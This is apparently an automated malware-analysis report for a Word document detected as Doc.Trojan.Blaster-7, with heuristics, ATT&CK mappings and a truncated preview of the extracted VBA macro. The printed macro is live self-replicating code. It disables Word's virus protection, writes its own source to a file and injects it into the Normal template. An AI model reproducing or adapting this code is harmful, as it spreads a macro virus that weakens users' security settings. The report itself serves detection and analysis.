MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Word document containing a VBA macro. The macro is triggered by the Document_Open event and attempts to hide the application window using the SW_HIDE constant. It also appears to prepare for writing to a file at 'c:\cont.dbl'. This behavior is indicative of a downloader or initial stage of a multi-stage attack.
Heuristics 3
-
ClamAV: Doc.Trojan.Blaster-7 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Blaster-7
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 26071 bytes |
SHA-256: ebef8387f601fdbd85ea9a806a85113387698955e4fd3b003531636331bf72fb |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Const SW_HIDE = 0
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetDesktopWindow Lib "User32.dll" () As Long
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function ShowWindow Lib "User32.dll" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
Private Sub Document_Close()
Dim stato As Boolean
Dim flagaltro As Boolean
Dim flagio As Boolean
Dim count As Integer
Dim stress As String
Dim bry As Variant
Dim hWnd_DesktopIcons As Long
Dim hWnd_StartBar As Long
Dim X As Long
On Error Resume Next
stato = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options
.ConfirmConversions = 0
.VirusProtection = 0
.SaveNormalPrompt = 0
End With
SetAttr "c:\cont.dbl", vbNormal: Kill "c:\cont.dbl": Open "c:\cont.dbl" For Output As #1
For count = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(count, 1) = "Option Explicit" Then Exit For
Next count
Do Until MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(count, 1) = "End Sub"
Print #1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(count, 1)
count = count + 1
Loop
Print #1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(count, 1)
For count = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(count, 1) = "Private Sub Document_Open()" Then Exit For
Next count
Do Until MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(count, 1) = "End Sub"
Print #1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(count, 1)
count = count + 1
Loop
Print #1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(count, 1)
Close #1
SetAttr "c:\cont.dbl", vbNormal
flagaltro = False
flagio = False
Set bry = NormalTemplate.VBProject.VBComponents.Item(1)
For count = 1 To bry.CodeModule.CountOfLines
If bry.CodeModule.Lines(count, 1) = "Private Sub Document_Close()" Then
flagaltro = True
flagio = False
If Trim(bry.CodeModule.Lines(count + 1, 1)) = "Dim stato As Boolean" Then
flagio = True
flagaltro = False
Exit For
End If
End If
Next count
If flagaltro = True Then
For count = 1 To bry.CodeModule.CountOfLines
If bry.CodeModule.Lines(count, 1) = "Option Explicit" Then Exit For
Next count
Do Until bry.CodeModule.Lines(count, 1) = "End Sub"
bry.CodeModule.DeleteLines (count)
Loop
bry.CodeModule.DeleteLines (count)
flagaltro = False
End If
If flagio = False And flagaltro = False Then
Open "c:\cont.dbl" For Input As #1
If LOF(1) = 0 Then GoTo cpynorm
count = 1
Do While Not EOF(1)
Line Input #1, stress
bry.CodeModule.InsertLines count, stress
count = count + 1
Loop
cpynorm:
Close #1
End If
flagaltro = False
flagio = False
Set bry = ActiveDocument.VBProje
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.